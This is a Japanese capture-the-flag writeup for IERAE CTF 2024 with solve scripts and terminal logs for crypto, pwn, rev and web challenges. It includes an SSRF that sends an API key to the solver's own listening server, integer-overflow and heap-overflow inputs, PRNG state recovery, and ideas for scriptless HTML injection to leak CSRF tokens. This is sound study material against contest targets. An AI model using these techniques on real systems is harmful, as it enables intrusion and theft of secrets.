IERAE CTF 2024 writeup

https://gmo-cybersecurity.com/event/ieraectf24/

CTFをやっている人が多そうなイエラエ主催のCTF。

10問解いて、1732点、22位。

> 上位入賞とは別に、日本語でwriteupを書き、公開してくれた7名の方に抽選でAmazonギフトカードをプレゼントします。多くの問題が解けてる必要はありませんので、ぜひwriteupを書いて応募してください！writeupにはチーム名・ユーザ名の記載を忘れないようにお願いします！

チームsuperflipのkusanoです。

### Welcome (sanity check)

Discord。

> The flag of "Welcome" challenge is IERAE{An_incredibly_interesting_flag}. Have fun!

`IERAE{An_incredibly_interesting_flag}`

### OMG (misc, warmup)

> オーマイガー！！！ブラウザの履歴が乗っ取られてしまった！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/1ed80dd3-8924-0021-bac4-eb8f6e6543f4.png)

ブラウザバックで出てくるうざい広告。

JavaScriptを解析してこの問題を解くことによって、どのような仕組みで実現されているかの理解が深まるわけか。……ん？　33回なら普通に押せば良いのでは？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/a2bdc292-87b6-4d04-1455-7133b97bb9e4.png)

`IERAE{Tr3ndy_4ds.LOL}`

### derangement (crypto, warmup)

```shell-session
$ nc 104.199.135.28 55555

/********************************************************\
|                                                        |
|   Abracadabra, let's perfectly rearrange everything!   |
|                                                        |
\********************************************************/

type 1 to show hint
type 2 to submit the magic word
> 1
hint: h,PGdHjbqJ\^/C=
type 1 to show hint
type 2 to submit the magic word
> 1
hint: \Jq=/^jhdHCPbG,
type 1 to show hint
type 2 to submit the magic word
> 1
hint: =\C/hHGJ^bqjdP,
type 1 to show hint
type 2 to submit the magic word
> 2
Oops, I spilled the beans! What is the magic word?
> hoge
Nope
```

ヒントは答えを並び替えた文字列が返ってくる。ただし、各文字は元と同じ位置にはならない。

ある位置に文字が出てきたら、その位置の候補から消していけば良い。

```attack.py
from pwn import *
import string

LENGTH = 15

s = remote("104.199.135.28", 55555)

C = None

while True:
    s.sendlineafter(b"> ", b"1")
    s.recvuntil(b"hint: ")
    h = s.recvline().decode()
    if C is None:
        char_set = h[:LENGTH]
        C = [set(char_set) for _ in range(LENGTH)]
    for i in range(LENGTH):
        if h[i] in C[i]:
            C[i].remove(h[i])
    print([len(c) for c in C])
    if all(len(c)==1 for c in C):
        break

ans = "".join(c.pop() for c in C)

s.sendlineafter(b"> ", b"2")
s.sendlineafter(b"> ", ans.encode())
print(s.recvall().decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to 104.199.135.28 on port 55555: Done
[14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14]
[13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13]
[12, 12, 13, 12, 12, 12, 12, 13, 12, 12, 12, 12, 12, 12, 12]
[11, 11, 12, 11, 11, 11, 11, 12, 11, 11, 11, 11, 12, 11, 11]
[11, 11, 11, 11, 11, 10, 11, 11, 10, 10, 10, 10, 11, 10, 10]
[10, 10, 10, 10, 10, 9, 11, 10, 10, 9, 9, 10, 10, 9, 10]
[9, 9, 9, 9, 9, 9, 10, 9, 10, 8, 8, 9, 9, 8, 9]
[8, 9, 9, 9, 9, 8, 10, 9, 10, 7, 7, 8, 8, 8, 8]
 :
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1]
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
[+] Receiving all data: Done (98B)
[*] Closed connection to 104.199.135.28 port 55555
Congrats!
 IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}
Connection limit reached. Exiting...
```

`IERAE{th3r35_n0_5uch_th!ng_45_p3rf3ct_3ncrypt!0n}`

### Futari APIs (web, warmup)

フロントエンドとバックエンドの構成。フロントエンドは `apiKey` をクエリパラメタに付けてバックエンドにリクエストを送る。 `apiKey` がフラグ。

```frontend.ts
const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });
```

`user` を `https://example.com/user` にすると、  `apiKey` 付きのリクエストが `example.com` に飛ぶ。

> `url` が絶対 URL である場合、指定された `base` は無視されます。

https://developer.mozilla.org/ja/docs/Web/API/URL/URL

```shell-session
$ curl 'http://35.194.136.248:3000/search?user=http://.../'
```

```shell-session
>py -m http.server 8888
Serving HTTP on :: port 8888 (http://[::]:8888/) ...
::ffff:104.199.184.157 - - [21/Sep/2024 17:02:04] "GET /?apiKey=IERAE{yey!you_got_a_web_warmup_flag!} HTTP/1.1" 200 -

IERAE{yey!you_got_a_web_warmup_flag!}
```

`IERAE{yey!you_got_a_web_warmup_flag!}`

### Assignment (rev, warmup)

めちゃくちゃな順番で代入をしてフラグを作っている。

```c
undefined8 main(int param_1,long param_2)

{
  int iVar1;
  
  flag[28] = 0x33;
  flag[1] = 0x45;
  flag[2] = 0x52;
  flag[20] = 0x72;
  flag[26] = 0x61;
 :
  flag[13] = 0x6e;
  flag[14] = 100;
  if (1 < param_1) {
    iVar1 = strcmp(flag,*(char **)(param_2 + 8));
    if (iVar1 == 0) {
      puts(flag);
    }
  }
  return 0;
}
```

gdbで動かして、メモリを見た。

```
+0040 0x555555558040  49 45 52 41 45 7b 73 30  6d 65 5f 72 34 6e 64 30  │IERAE{s0│me_r4nd0│
+0050 0x555555558050  6d 5f 73 74 72 31 6e 67  5f 35 61 39 33 35 34 63  │m_str1ng│_5a9354c│
+0060 0x555555558060  7d 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │}.......│........│
```

`IERAE{s0me_r4nd0m_str1ng_5a9354c}`

### This is warmup (pwn, warmup)

> Trust me. If this problem is too difficult for you, I don't mind you burying me in the ground!

本当に難しくて、木の下に埋まるオチが付くやつでは……。

https://dic.nicovideo.jp/a/%E3%82%82%E3%81%97%E6%84%9F%E5%8B%95%E3%81%97%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E3%82%89%E6%9C%A8%E3%81%AE%E4%B8%8B%E3%81%AB%E5%9F%8B%E3%82%81%E3%81%A6%E8%B2%B0%E3%81%A3%E3%81%A6%E3%82%82%E6%A7%8B%E3%82%8F%E3%81%AA%E3%81%84%E3%82%88

```chal.c
// gcc chal.c -o chal

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

void win(int sig) {
  char flag[128] = {};

  puts("Well done!");
  system("cat ./flag*");
  exit(0);
}

int main() {
  // If you cause SEGV, then you will get flag
  signal(SIGSEGV, win);
  setbuf(stdout, NULL);
  
  unsigned long long int nrow, ncol;

  printf("Enter number of rows: ");
  scanf("%llu", &nrow);

  printf("Enter number of cols: ");
  scanf("%llu", &ncol);

  if (nrow * ncol < nrow) { // this is integer overflow right?
    puts("Don't hack!");
    exit(1);
  }

  char *matrix = malloc(nrow*ncol);
  if (!matrix) {
    puts("Too large!");
    exit(1);
  }

  for (unsigned long long int i=0; i<nrow; i++) {
    for (unsigned long long int j=0; j<ncol; j++) {
      matrix[i*ncol+j] = (i+j) % 2;
    }
  }

  puts("I made Ichimatsu design for you!");
  for (unsigned long long int i=0; i<nrow; i++) {
    for (unsigned long long int j=0; j<ncol; j++) {
      printf("%d ", matrix[i*ncol+j]);
    }
    puts("");
  }
}
```

「セグフォさせることすら無理だろうから、シェル取ったりしなくても、セグフォだけでいいよ^^」というの好き。

整数オーバーフローの脆弱性がありそうだが、乗算して整数オーバーフローするなら元より小さくなるはずで、それで弾けるだろうという主張。加算ならそうだろうけど、乗算だとそうもいかないよね……と適当に大きな数を入力してみたが通らない。そうか、0以上で `malloc` が成功するくらいに小さいという狭い範囲に収めないといけないのか。

$2^{64}$ を法とする逆数を掛ければ、（ある程度）好きな数を作れる。

```shell-session
$ python3
 :
>>> 12345*pow(123,-1,2**64)%2**64
7648649981782009307
```

$123 \times 7648649981782009307 \equiv 12345 \mod 2^{64}$

```shell-session
$ nc 52.231.220.191 5002
Enter number of rows: 123
Enter number of cols: 7648649981782009307
Well done!
IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}
```

`IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}`

### Weak PRNG (crypto, easy)

メルセンヌ・ツイスタの乱数推測。

定番すぎない？　と思ったが、次の乱数ではなく、最初に生成した乱数を当てないといけなかった。

```mt19937ar.c
/* generates a random number on [0,0xffffffff]-interval */
unsigned long genrand_int32(void)
{
    unsigned long y;
    static unsigned long mag01[2]={0x0UL, MATRIX_A};
    /* mag01[x] = x * MATRIX_A  for x=0,1 */

    if (mti >= N) { /* generate N words at one time */
        int kk;

        if (mti == N+1)   /* if init_genrand() has not been called, */
            init_genrand(5489UL); /* a default initial seed is used */

        for (kk=0;kk<N-M;kk++) {
            y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK);
            mt[kk] = mt[kk+M] ^ (y >> 1) ^ mag01[y & 0x1UL];
        }
        for (;kk<N-1;kk++) {
            y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK);
            mt[kk] = mt[kk+(M-N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
        }
        y = (mt[N-1]&UPPER_MASK)|(mt[0]&LOWER_MASK);
        mt[N-1] = mt[M-1] ^ (y >> 1) ^ mag01[y & 0x1UL];
```

http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/mt19937ar.c

これ、右辺にも `mt[kk]` が入っているから素直には逆算できなくない？　連立方程式を解くみたいなことをしなければいけないのかな……。

しなくて良いらしい。

https://jazzy.id.au/2010/09/25/cracking_random_number_generators_part_4.html

```attack.py
from pwn import *

s = remote("35.201.137.32", 19937)

def temp(x):
    x ^= x>>11
    x ^= x<<7&0x9d2c5680
    x ^= x<<15&0xefc60000
    x ^= x>>18
    return x

def untemp(x):
    x ^= x>>18
    x ^= x<<15 & 0xefc60000 & 0b00111111_11111111_10000000_00000000
    x ^= x<<15 & 0xefc60000 & 0b11000000_00000000_00000000_00000000
    x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00000000_00111111_10000000
    x ^= x<< 7 & 0x9d2c5680 & 0b00000000_00011111_11000000_00000000
    x ^= x<< 7 & 0x9d2c5680 & 0b00001111_11100000_00000000_00000000
    x ^= x<< 7 & 0x9d2c5680 & 0b11110000_00000000_00000000_00000000
    x ^= x>>11 & 0b00000000_00011111_11111100_00000000
    x ^= x>>11 & 0b00000000_00000000_00000011_11111111
    return x

# https://github.com/python/cpython/blob/342e654b8eda24c68da64cc21bc9583e480d9e8e/Modules/_randommodule.c
X = []
for _ in range(39):
    s.sendlineafter(b"> ", b"1")
    s.recvline()
    for _ in range(16):
        x = int(s.recvline().decode())
        X += [untemp(x)]

# https://jazzy.id.au/2010/09/25/cracking_random_number_generators_part_4.html
for i in range(624)[::-1]:
    tmp = X[i]
    tmp ^= X[(i+397)%624]
    if tmp&0x80000000:
        tmp ^= 0x9908b0df
    res = tmp<<1&0x80000000
    tmp = X[(i-1)%624]
    tmp ^= X[(i+396)%624]
    if tmp&0x80000000:
        tmp ^= 0x9908b0df
        res |= 1
    res |= tmp<<1&0x7fffffff
    X[i] = res

s.sendlineafter(b"> ", b"2")
s.sendlineafter(b"> ", str(temp(X[-1])).encode())
print(s.recvall().decode())
```

```shell-session
$ python3 attack.py
[+] Opening connection to 35.201.137.32 on port 19937: Done
[+] Receiving all data: Done (79B)
[*] Closed connection to 35.201.137.32 port 19937
Correct! Here is your flag:
IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}
```

`IERAE{WhY_4r3_n'7_Y0u_u51n6_4_CSPRNG_3v3n_1n_2024}`

### Great Management Opener (web, easy)

最後のほうに取り組んでいて、解けなかった。

- adminならフラグが見られる
- `/admin?message=<b>hoge</hoge>` などとしてHTMLのインジェクションができる
- しかし、以下のCSPが有効なので、スクリプトの実行はできない
    - script-src 'self'
        - オリジン内にスクリプトを置けるような場所は無い
    - style-src * 'unsafe-inline'
- adminは他のユーザーをadminにすることもできる
- しかし、そのページは `csrf_token` で保護されている

（スクリプトではない）HTMLを注入して、 `csrf_token` をリークさせて、その `csrf_token` でadminにするページを叩かせるのが素直な解法に思える。

https://book.hacktricks.xyz/v/jp/pentesting-web/dangling-markup-html-scriptless-injection

`<img src="http://example.com/?` は `csrf_token` の前に `"` があるのでだめ。 `<img src='http://example.com/?` は最後まで `'` が無くて、そうなると `<img>` タグ自体が無効になるっぽいのでだめ。 `<style>@import http://example.com/?` も通らない。ブラウザの対策が強化されている？

CSSで1文字ずつ属性値をリークさせるやつ……？

https://www.mbsd.jp/research/20230403/css-injection/

これ自体も面倒だし、 `X-Frame-Options: DENY` が付いているから、上手いことリダイレクトとかさせないといけないよね。残り時間も少ないので諦め。

### Copy & Paste (pwn, was_warmup, easy)

ソースコードは長いがキモはこの辺。

```chal.c
 :
struct buffer {
  size_t buf_size;
  char *buf_ptr;
};
 :
  printf("Enter file name: ");
  char *fname = read_str();

  FILE *fp = fopen(fname, "r");
  if (!fp) {
    puts("Your specified file doesn't exist");
    exit(1);
  }

  // Get file size to allocate buffer
  fseek(fp, 0, SEEK_END);

  int size = ftell(fp);
  char *ptr = malloc(sizeof(char)*(size+1)); // plus 1 for '\0'
  if (!ptr) {
    puts("malloc failed");
    exit(1);
  }
 :
  struct buffer *src = &bufs[src_idx];
  struct buffer *dst = &bufs[dst_idx];
  size_t copy_size = src->buf_size;
  if (dst->buf_size < copy_size) copy_size = dst->buf_size;

  memcpy(dst->buf_ptr, src->buf_ptr, copy_size);
  printf("Copied %llu bytes from buf #%d to buf #%d\n", copy_size, src_idx, dst_idx);
 :
```

`ftell` は失敗したときに-1を返す。これで、`size+1=0` バイトのバッファに `0xffffffffffffffff` バイトをコピーしようとするはず。

https://linuxjm.sourceforge.io/html/LDP_man-pages/man3/ftell.3.html

`ftell` がどういうときに失敗するかというと、標準入出力とからしい。

https://stackoverflow.com/questions/7705338/ftell-function-giving-1-in-c-for-stdout

> I strongly recommend you to use the provided docker env, not your host env.

Jail化されているからなのか、  `/dev/stdin` が無かった。 `/proc/self/fd/0` はあった。

```shell-session
$ nc 52.231.220.191 5001
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /proc/self/fd/0
Read -1 bytes from /proc/self/fd/0
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /proc/self/fd/0
Read -1 bytes from /proc/self/fd/0
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Copied 18446744073709551615 bytes from buf #0 to buf #1
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 1
Enter destination index: 0
Copied 18446744073709551615 bytes from buf #1 to buf #0
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit

```

これで落ちないのが謎。

0バイトで確保したバッファに `/etc/passwd` を書き込んでも落ちない。

```shell-session
$ nc 52.231.220.191 5001
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /proc/self/fd/0
Read -1 bytes from /proc/self/fd/0
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /etc/passwd
Read 888 bytes from /etc/passwd
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 1
Enter destination index: 0
Copied 888 bytes from buf #1 to buf #0
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
```

`/proc/self/exe` なら落ちた。

```shell-session
$ nc 52.231.220.191 5001
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /lib/x86_64-linux-gnu/libc.so.6
Read 2105184 bytes from /lib/x86_64-linux-gnu/libc.so.6
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /proc/self/fd/0
Read -1 bytes from /proc/self/fd/0
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Well done!
IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}
```

`IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}`

### splitting (crypto, easy)

```challenge.sage
#!/usr/bin/env sage

from Crypto.Util.number import *
from os import getenv

FLAG = getenv("FLAG", "TEST{TEST_FLAG}").encode()
f = bytes_to_long(FLAG)

p = random_prime(2^128)
Fp = GF(p)
a, b = Fp.random_element(), Fp.random_element()
E = EllipticCurve(Fp, [a, b])

print(a)
print(b)
print(p)

gens = list(E.gens())
if len(gens) < 2:
    gens.append(ZZ(Fp.random_element()) * E.gens()[0])

res = []
while f > 0:
    r = Fp.random_element()
    res.append(ZZ(r) * gens[f & 1])
    f >>= 1

for R in res:
    print(R.xy())
```

要は、楕円曲線上の2個の元を $P$ と $Q$ 、$r_i$ を乱数とし、フラグの各ビットに応じて $r_iP$ か $r_iQ$ を返してくる。

ところで、最近AIが競技プログラミングの問題を解けるようになってきて、競技プログラミングのコンテストでAIの利用をどうするべきかという話になっている。AIに論理的思考能力があるのかは知らないけど、web上のどこかにはあるはずの情報については強そうだよね。Cryptoの問題だと「こういう問題は解けるのかな？」とググることが多い。

使えん……。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/9ed4193a-1e40-e130-8620-5e794763ccee.png)

ChatGPTは問い詰めたら良い感じの答えが返ってきた。私の訊き方が悪かったのかもしれない。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/1c24608f-92bb-d90d-6cc0-15abc693c059.png)

$P$ の位数を $n$ として、 $p = rP$ ならば、 $np=0$ となる。

そもそも元が1個だったり（この場合は、もう1個の元が $Q = kP$ となってしまうので無理）、2個の元の位数が同じだったり、 $k$ を小さな整数として $P=kQ$ だったりするが……何回も試せば良いものが引けるだろう。

```solve.sage
from pwn import *
from Crypto.Util.number import *

s = remote("35.236.178.27", int(11119))
a = int(s.recvline().decode())
b = int(s.recvline().decode())
p = int(s.recvline().decode())
print(f"{a=}")
print(f"{b=}")
print(f"{p=}")

Fp = GF(p)
E = EllipticCurve(Fp, [a, b])
gens = list(E.gens())
print(f"{gens=}")
orders = [g.order() for g in gens]
print(f"{orders=}")

assert len(orders)>=2
assert orders[0]>orders[1]

f = 0
for i in range(567):
    p = E(eval(s.recvline().decode()))
    if (p*orders[1]).is_zero():
        f |= 1<<i
print(bin(f))
print(long_to_bytes(f))
```

```shell-session
$ for i in $(seq 100); do python3 solve.sage.py; done
[+] Opening connection to 35.236.178.27 on port 11119: Done
a=66116289007143990618121837539030228671
b=260573688982918396962740044051517467662
p=293221704775635952577979763818580210421
gens=[(213323019262325974278344468019108901620 : 40456188644856024379065437331204615946 : 1)]
orders=[293221704775635952576865737420839744938]
Traceback (most recent call last):
  File "/mnt/d/documents/ctf/ierae2024/splitting/solve.sage.py", line 1168, in <module>
    assert len(orders)>=_sage_const_2
AssertionError
[*] Closed connection to 35.236.178.27 port 11119
[+] Opening connection to 35.236.178.27 on port 11119: Done
a=178824730858686209253130363431550041486
b=146139281060127484281691740100652190367
p=194087690920046676436520826439713156337
gens=[(95078226194413872702054286553208776952 : 80709871331003608422319991437667686443 : 1)]
orders=[194087690920046676451602254765873413435]
Traceback (most recent call last):
  File "/mnt/d/documents/ctf/ierae2024/splitting/solve.sage.py", line 1168, in <module>
    assert len(orders)>=_sage_const_2
AssertionError
[*] Closed connection to 35.236.178.27 port 11119
 :
[+] Opening connection to 35.236.178.27 on port 11119: Done
a=34667474378735501027647786232969359236
b=82321901041592518149424212780701285048
p=129313305065584873713311424877721885167
gens=[(13319313487971261029351870762965302070 : 100658911444387094902609688250103961322 : 1), (111303841546981546745369197323426242258 : 54545360227433942916899083128391412964 : 1)]
orders=[43104435021861624571140347979699848760, 21552217510930812285570173989849924380]
0b100110101111101110101101110001111110101111111111111011111100111111011111111111011101011001101111111111011111101111111110011010111111101101101111011111011111101111011010111111001100110111111110111101110111111011100110111101111111111011111010011111011111111101111111111110111111110011110011111011111111110101110000011011111110111011111011011011011111100111101111011110111111011111111111111101101101101011100100111011000111101101101010111111000111111101111110111110100111111101101111110011111111110111101111111011000110101011110101111001111100111011111111111011111111111
b'M}\xd6\xe3\xf5\xff\xf7\xe7\xef\xfe\xeb7\xfe\xfd\xff5\xfd\xb7\xbe\xfd\xed~f\xff{\xbfs{\xff}>\xff\xbf\xfd\xfey\xf7\xfe\xb87\xf7}\xb6\xfc\xf7\xbd\xfb\xff\xfbmrv=\xb5~?\xbf}?\xb7\xe7\xfe\xf7\xf65z\xf3\xe7\x7f\xf7\xff'
0
[*] Closed connection to 35.236.178.27 port 11119
 :
 :
[+] Opening connection to 35.236.178.27 on port 11119: Done
a=11452315703925231357661692720548941721
b=19947438511563682403441763870234072949
p=27543581341919296154151649652980417499
gens=[(3693291745072990273379125585654493480 : 14169556549932055670719668376207847819 : 1), (14401977629263649228678181826893292467 : 18771612888877310155483956673389073636 : 1)]
orders=[13771790670959648073539357079242449160, 13771790670959648073539357079242449160]
Traceback (most recent call last):
  File "/mnt/d/documents/ctf/ierae2024/splitting/solve.sage.py", line 1169, in <module>
    assert orders[_sage_const_0 ]>orders[_sage_const_1 ]
AssertionError
[*] Closed connection to 35.236.178.27 port 11119
 :
[+] Opening connection to 35.236.178.27 on port 11119: Done
a=36072557462689283675831351477126982008
b=28412549437855188506693889523135312935
p=260511037124749389448186494145573058851
gens=[(178737175295377474126502660927309753383 : 53632775192894217231785036575262475103 : 1), (48820685139469344444602913086260792051 : 151122071882747951991794732325143245079 : 1)]
orders=[86837012374916463149283967366343433810, 17367402474983292629856793473268686762]
0b100100101000101010100100101001101000111011110110111011111101100011001010011111001100010001101110111010000110101011101110011000000111111001100110011111101111011011000010011100001100100001101110110101011111100011100000011100100110101001101010011110000110101101101111111100100111010001100011110001110111111001110000011111000111011111001010011010101110100001100111011111001110011101111110011001101100101011001100011001000111101001101011011101011111001001101001111110110110111001101010110001101111010011101100110101000110010001100000110001111111010001101010011110101111101
b'IERSG{w\xece>b7t5w0?3?{a8d7j\xfcp955<5\xb7\xf9:1\xe3\xbf8>;\xe55t3\xbes\xbf3ef2=5\xba\xf94\xfd\xb75czvj20c\xfa5=}'
0
[*] Closed connection to 35.236.178.27 port 11119
 :
```

惜しい感じにはなるが……。いや、ここまでに出てきたものを統合すれば良いのか。このプログラムで `1` になったビットは確実に `1` 、 `0` はどちらか分からない。

```solve.py
from Crypto.Util.number import *

F = [
0b100110101111101110101101110001111110101111111111111011111100111111011111111111011101011001101111111111011111101111111110011010111111101101101111011111011111101111011010111111001100110111111110111101110111111011100110111101111111111011111010011111011111111101111111111110111111110011110011111011111111110101110000011011111110111011111011011011011111100111101111011110111111011111111111111101101101101011100100111011000111101101101010111111000111111101111110111110100111111101101111110011111111110111101111111011000110101011110101111001111100111011111111111011111111111,
0b100110101100101010101100100010101000111111110110111011101100100011101110111111001110011011111110011010100110111011111111111100101111110011100101111011100111001011001010011001011100100001111111111011110110100001100000011101101110101001101110011110001110100011111111011100100111111001100110111001100111110101111010011011110110010011111010011110110110110111100111011111001100011111101110111101101110101111100100111011001111001001101011011000000111001001101100110011110110111001101011111011111111010111111110111001010110010001100100110101111100011011101011111110101111101,
0b100100101001111010100100100111101000101111110110011011101100100111001010111111111100010011101110111110000110101101101000111000001110100001101100011011011111101011111010011001001110100111101111110101000110100001100000111111100110111011101111011000011110110001101111011111100110010011111110110001100110111001110110011111000110001011001010011010100110100001100110011101001110111001111110011001111100101011010101011010000111101001101010011000101111101001100000110111101111111001101010110101100111011111001100111101000110000001100000110001111100010001101010111100111111101,
0b110100101000111011111110110000101011101111111111111011101111100111001010111011101100010001101110011010010110101001111100111110010110101011101100011011001111011011010011111100001100100011101110110001110111111001100000111100111110101011101111111101000110101101101111011100100110010001110011110001110110110011111001011111000110001011101111011011100111100001110110111110101110111001111110111001101100101011010101011010010111111001111110011000001111001001100001110010100110111001101110110001100111000011001111110101010110011001101001111011101100011111111011011000101111101,
0b101101101101101110100111101100101001101111110110011111111111100011001011011011001100111001101110111010110110101101101101011001001110100001110100011011100111011011000010011100001110101011101111110001001111111011110001011100110110101001111010011100000110110101101110011110100110010011110010110011100110110001111010011011010110110011111011111010010111110001100110111101011101111001111110111001101100101111110111111000000111001101101010011010111111101001101001111110101110111101101011110001100111000011001100110011011110111001101101110001101100010001111010011000101111111,
0b100100101000101010100100101001101000111011110110111011111101100011001010011111001100010001101110111010000110101011101110011000000111111001100110011111101111011011000010011100001100100001101110110101011111100011100000011100100110101001101010011110000110101101101111111100100111010001100011110001110111111001110000011111000111011111001010011010101110100001100111011111001110011101111110011001101100101011001100011001000111101001101011011101011111001001101001111110110110111001101010110001101111010011101100110101000110010001100000110001111111010001101010011110101111101,
0b110111101101111110100101101000101100101011110111011011101111100011111110011011111100011111101110011010000110111001101011011001011110100101100101011011100111101011000011111010111110101111101110111101001111111101111110011100110110101101101011011000000110101111101111011100101110010101100010110011101110111001110001011011000111000011011111111110101111100001100110111111111111111001101110111001101101101111100110011110011111001101101111111000000111011001110000111110101110111111101110110101101111011011001100110011001110001001110010111001111111110001101010011011101111101,
0b100100111000101010101100100010101110101011110110011011111100100011001010011011011100010001101110011010000110101001101000011010000110100001100100011011000111001111000010011000001111100001101110110001001110110001100000011100110110101011101010011000010110101001111110011101100110110101100010111011100110110011111010011011000110000011001010011011000110100101100110011111001100111001101110011001101100101011000100011010000111001001101010011000000111011001110000110010101110111001101010110111100111000011001100111001000110010101101010110001101100010001101010011000101111101,
]

ans = 2**567-1
for f in F:
    ans &= f
print(long_to_bytes(ans).decode())
```

```shell-session
$ python3 solve.py
IERAE{7de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}
```

`IERAE{7de6b745404269a0d7b40955047921c6860e4438c73eb095090e75c8fb00cb51}`

### Luz Da Lua (rev, was_warmup, easy)

> The luac file is compiled and tested on Lua 5.4.7
>
> lua LuzDaLua.luac

Luaの解析。

逆コンパイラがあった。

https://luadec.metaworm.site/

```lua
-- filename: @/mnt/LuzDaLua.lua
-- version: lua54
-- line: [0, 0] id: 0
io.write("Input > ")
input = io.read("*l")
if string.len(input) ~= 28 then
  goto label_301
elseif string.byte(input, 1) ~ 232 ~= 161 then
  goto label_301
elseif string.byte(input, 2) ~ 110 ~= 43 then
  goto label_301
 :
elseif string.byte(input, 27) ~ 238 ~= 130 then
  goto label_301
elseif string.byte(input, 28) ~ 61 ~= 64 then
  goto label_301
else
  print("Correct")
end
-- warn: not visited block [59]
-- block#59:
-- _ENV.print("Wrong")
```

```solve.py
X = [
    (232, 161),
    (110, 43),
    (178, 224),
    (172, 237),
    (212, 145),
    (25, 98),
    (53, 121),
    (63, 74),
    (135, 230),
    (92, 3),
    (38, 23),
    (250, 137),
    (216, 135),
    (5, 86),
    (69, 117),
    (226, 189),
    (137, 186),
    (148, 240),
    (64, 53),
    (130, 225),
    (241, 197),
    (151, 227),
    (203, 250),
    (179, 220),
    (216, 182),
    (101, 4),
    (238, 130),
    (61, 64),
]
print("".join((chr(a^b) for a, b in X)))
```

```shell-session
$ python3 solve.py
IERAE{Lua_1s_S0_3duc4t1onal}
```

`IERAE{Lua_1s_S0_3duc4t1onal}`

### 5 (misc, easy)

解けなかった。

JavaScriptは、 `[]()+!` の6種類の文字で任意の処理が実行できることが知られている。

https://ja.wikipedia.org/wiki/JSFuck

これを5種類にしろという問題。無理では？　過去に大勢が挑戦していると思うんだよな。5種類に制限しているところの処理に何か穴があるようにも思えない。最近のJavaScriptの機能で何かあるのか、実行環境がBunであることに意味があるのか。

### The Kudryavka Sequence (rev, easy)

解けなかった。

![statement.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/b6ca24b2-4750-a11c-4d57-4f3f74b0a152.png)

添付の画像。これ何だっけ？　「氷菓」か。

https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%89%E3%83%AA%E3%83%A3%E3%83%95%E3%82%AB%E3%81%AE%E9%A0%86%E7%95%AA

クドリャフカ（ライカ）をどこで知ったかという話題も盛りあがるかもしれない。「リトルバスターズ！」と「月とライカと吸血姫」は知ってる。

https://ja.wikipedia.org/wiki/%E3%83%A9%E3%82%A4%E3%82%AB_(%E7%8A%AC)

https://nlab.itmedia.co.jp/nl/articles/1911/29/news090.html

問題はWindowsのバイナリ。

時刻を元に標準ライブラリの `rand` で乱数を生成し、それを使ってこの辺の関数で暗号化しているっぽい。

https://learn.microsoft.com/ja-jp/windows/win32/api/bcrypt/